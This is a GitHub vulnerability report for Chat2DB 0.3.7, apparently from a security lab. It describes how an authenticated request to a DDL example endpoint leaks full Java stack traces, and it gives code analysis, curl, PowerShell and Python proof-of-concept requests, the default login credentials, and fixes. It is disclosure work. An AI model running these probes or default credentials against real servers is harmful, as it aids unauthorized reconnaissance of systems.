Skip to content

Bug: Chat2DB DDL Example Endpoint Java Stack Trace Information Disclosure #1830

@360AlphaLab

Description

@360AlphaLab

Chat2DB Version

0.3.7

Describe the bug

Vulnerability Report: Chat2DB DDL Example Endpoint Java Stack Trace Information Disclosure

1. Product Overview

Chat2DB is an open-source database management and intelligent SQL assistant tool that supports multiple database types including MySQL, PostgreSQL, and Oracle. Its server side is built on Spring Boot, providing Web APIs for frontend and external consumption, and is widely used in enterprise database operations and maintenance scenarios.

2. Vulnerability Description

Attribute Value
Vulnerability Type CWE-209: Generation of Error Message Containing Sensitive Information
CVSS 3.1 4.3 Medium (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
Vulnerable File chat2db-server-domain/chat2db-server-domain-core/src/main/java/ai/chat2db/server/domain/core/impl/TableServiceImpl.java (line 97)
Prerequisites A valid login session is required (any regular user privilege is sufficient)
Trigger Endpoint GET /api/rdb/ddl/create/example (authentication required, backend API)
  • Core Impact: Returns a complete Java exception stack trace to authenticated users, exposing internal class names, method signatures, file paths, and line numbers, assisting attackers in targeted vulnerability research.
  • Environmental Constraints: A valid login credential is required (any regular account is sufficient).
  • Default Trigger Condition: Triggerable on a default installation without any special configuration.

3. Affected Scope

  • Affected Versions: All versions of Chat2DB that include this endpoint (including the chat2db-server-web-api module)
  • Unaffected Versions: Versions that have applied desensitization to the errorDetail field in exception responses
  • Trigger Condition and Default: A default installation satisfies the trigger condition; any logged-in user can reproduce the issue

4. Vulnerability Details

4.1 Code Audit Analysis

Vulnerability Entry Point — Controller Layer

RdbDdlController.java:182

@GetMapping("/create/example")
public DataResult<String> createExample(@Valid TableCreateDdlQueryRequest request) {
    return tableService.createTableExample(request.getDbType());
}

Accepts the request parameter dbType and passes it to tableService.createTableExample().

Request Object Does Not Implement Data Source Interfaces

TableCreateDdlQueryRequest.java:13

@Data
public class TableCreateDdlQueryRequest {
    @NotNull
    private String dbType;
}

This class only contains the dbType field and does not implement the DataSourceBaseRequestInfo, DataSourceBaseRequest, or DataSourceConsoleRequestInfo interfaces.

Aspect Skips ThreadLocal Initialization

ConnectionInfoHandler.java:43

for (int i = 0; i < params.length; i++) {
    Object param = params[i];
    if (param instanceof DataSourceBaseRequest) {
        // ... initialize ThreadLocal
    } else if (param instanceof DataSourceConsoleRequestInfo) {
        // ... initialize ThreadLocal
    } else if (param instanceof DataSourceBaseRequestInfo) {
        // ... initialize ThreadLocal
    }
    // TableCreateDdlQueryRequest does not match any branch; Chat2DBContext.putContext() is never called
}

TableCreateDdlQueryRequest does not match any of the above types, so the aspect passes through directly and CONNECT_INFO_THREAD_LOCAL remains null.

Service Layer Uses No-Argument Version, Causing NPE

TableServiceImpl.java:96

@Override
public DataResult<String> createTableExample(String dbType) {
    String sql = Chat2DBContext.getDBConfig().getSimpleCreateTable();  // The passed-in dbType is ignored!
    return DataResult.of(sql);
}

The method receives the dbType parameter but never uses it, instead calling the no-argument Chat2DBContext.getDBConfig():

Chat2DBContext.java:73

public static DBConfig getDBConfig() {
    return PLUGIN_MAP.get(getConnectInfo().getDbType()).getDBConfig();
    //                     ↑ getConnectInfo() returns null → null.getDbType() → NullPointerException
}

Exception Handler Serializes the Full Stack Trace into the Response

EasyControllerExceptionHandler.java:158

@ExceptionHandler(Exception.class)
public ActionResult handledException(HttpServletRequest request, Exception exception) {
    ActionResult result = convert(exception);
    // ...
    return result;
}

DefaultExceptionConvertor.java:16

public ActionResult convert(Throwable exception) {
    return ActionResult.fail("common.systemError",
        I18nUtils.getMessage("common.systemError"),
        ExceptionUtils.getErrorInfoFromException(exception));  // Full stack trace written to errorDetail
}

ExceptionUtils.java:20

public static String getErrorInfoFromException(Throwable throwable) {
    try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
        throwable.printStackTrace(pw);   // Full stack trace serialized to string
        return sw.toString();
    }
    // ...
}

The final stack trace string is returned to the client as JSON via the ActionResult.errorDetail field.

4.2 PoC Construction

  1. Endpoint Selection: GET /api/rdb/ddl/create/example is an endpoint specifically for "table creation statement examples". Only the dbType parameter needs to be provided (any non-null string satisfies the @NotNull validation).
  2. Bypass Method: No bypass is required. The design flaw in the endpoint itself causes the ThreadLocal to remain uninitialized.
  3. Exploit Chain: Log in to obtain a session → Send an authenticated request to the endpoint → Server triggers NPE → Default exception handler writes the full stack trace into the errorDetail field of the response.

5. Proof of Concept (Reproduction)

5.1 Environment Setup

  • Target: Chat2DB (latest version) on Windows/Linux
  • Frontend URL: http://127.0.0.1:10824/
  • API Base Path: http://127.0.0.1:10824/api

5.2 Reproduction Steps

Step 1: Visit the Chat2DB login page and log in with a valid account (e.g., chat2db / chat2db2023).

Navigate to http://127.0.0.1:10824/login, enter the username and password, then click the login button.

Login Page

Step 2: After a successful login, use the obtained session to directly request the vulnerable endpoint.

Access the following URL in the browser address bar:

http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL

Or send the request via developer tools / an API tool and observe the response body.

Trigger Vulnerable Endpoint

Step 3: The errorDetail field in the response contains the complete Java stack trace.

The errorDetail in the response JSON contains content similar to the following:

java.lang.NullPointerException
    at ai.chat2db.spi.sql.Chat2DBContext.getDBConfig(Chat2DBContext.java:74)
    at ai.chat2db.server.domain.core.impl.TableServiceImpl.createTableExample(TableServiceImpl.java:97)
    at ai.chat2db.server.web.api.controller.rdb.RdbDdlController.createExample(RdbDdlController.java:183)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    ...

Stack Trace Leaked

5.3 Result Verification

Verification Item Result
HTTP Status Code 200 OK
success field false
errorCode field common.systemError
errorDetail contains NullPointerException ✅ Confirmed
errorDetail contains at ai.chat2db internal class path ✅ Confirmed
errorDetail contains Chat2DBContext.java:74 line number ✅ Confirmed
errorDetail contains TableServiceImpl.java:97 line number ✅ Confirmed

5.4 Attack Chain Diagram

Attacker (authenticated regular user)
  │
  ├─ GET /api/rdb/ddl/create/example?dbType=MYSQL
  │
  ├─ ConnectionInfoHandler aspect: TableCreateDdlQueryRequest does not match any data source interface
  │   └─ Chat2DBContext.putContext() is never called; CONNECT_INFO_THREAD_LOCAL = null
  │
  ├─ TableServiceImpl.createTableExample(dbType)
  │   └─ dbType parameter is ignored; calls Chat2DBContext.getDBConfig() (no-argument version)
  │       └─ getConnectInfo() returns null → null.getDbType() → NullPointerException
  │
  ├─ EasyControllerExceptionHandler.handledException()
  │   └─ DefaultExceptionConvertor.convert()
  │       └─ ExceptionUtils.getErrorInfoFromException() → full stack trace serialized
  │
  └─ Response JSON errorDetail field contains full stack trace ✓
     Leaked: class names, method signatures, file paths, line numbers

6. POC

# Step 1: Log in to obtain a token (replace USERNAME and PASSWORD)
TOKEN=$(curl -s -X POST http://127.0.0.1:10824/api/oauth/login_a \
  -H "Content-Type: application/json" \
  -d '{"userName":"chat2db","password":"chat2db2023"}' \
  -c /tmp/chat2db_cookie.txt | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',''))")

echo "Token: $TOKEN"

# Step 2: Trigger the vulnerable endpoint with Cookie and token Header
curl -s "http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL" \
  -H "satoken: $TOKEN" \
  -b /tmp/chat2db_cookie.txt | python3 -m json.tool

Windows PowerShell version:

# Step 1: Log in
$loginResp = Invoke-RestMethod -Method POST -Uri "http://127.0.0.1:10824/api/oauth/login_a" `
  -ContentType "application/json" `
  -Body '{"userName":"chat2db","password":"chat2db2023"}' `
  -SessionVariable session
$token = $loginResp.data

# Step 2: Trigger the vulnerability
$resp = Invoke-RestMethod -Uri "http://127.0.0.1:10824/api/rdb/ddl/create/example?dbType=MYSQL" `
  -Headers @{ "satoken" = $token } `
  -WebSession $session
$resp.errorDetail

Python PoC script:

python project/Chat2DB/poc_chat2db_stacktrace_leak.py --host http://127.0.0.1:10824 --username chat2db --password chat2db2023

7. Remediation Recommendations

Option 1 (Recommended): Use the parameterized version getDBConfig(String dbType) in the Service layer

Change the no-argument call in TableServiceImpl.java:97 to the parameterized version:

// Before fix
public DataResult<String> createTableExample(String dbType) {
    String sql = Chat2DBContext.getDBConfig().getSimpleCreateTable();
    return DataResult.of(sql);
}

// After fix
public DataResult<String> createTableExample(String dbType) {
    String sql = Chat2DBContext.getDBConfig(dbType).getSimpleCreateTable();
    return DataResult.of(sql);
}

The Chat2DBContext.getDBConfig(String dbType) method (line 69) looks up the plugin directly via PLUGIN_MAP.get(dbType), requires no ThreadLocal context, and will not produce an NPE.

Option 2: Desensitize the errorDetail field

In production environments, DefaultExceptionConvertor should not write the full stack trace into the API response:

// Before fix
public ActionResult convert(Throwable exception) {
    return ActionResult.fail("common.systemError",
        I18nUtils.getMessage("common.systemError"),
        ExceptionUtils.getErrorInfoFromException(exception));  // Exposes full stack trace
}

// After fix (production environment)
public ActionResult convert(Throwable exception) {
    log.error("System error", exception);  // Stack trace recorded to logs
    return ActionResult.fail("common.systemError",
        I18nUtils.getMessage("common.systemError"),
        null);  // No stack trace returned in the API response
}

Option 3: Apply whitelist validation to the dbType parameter

Validate the legitimacy of dbType at the Controller or Service layer, rejecting invalid database types to reduce the probability of invalid requests triggering exceptions.

Priority: Option 1 addresses the root cause defect; Option 2 serves as defense-in-depth. It is recommended to implement both simultaneously.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions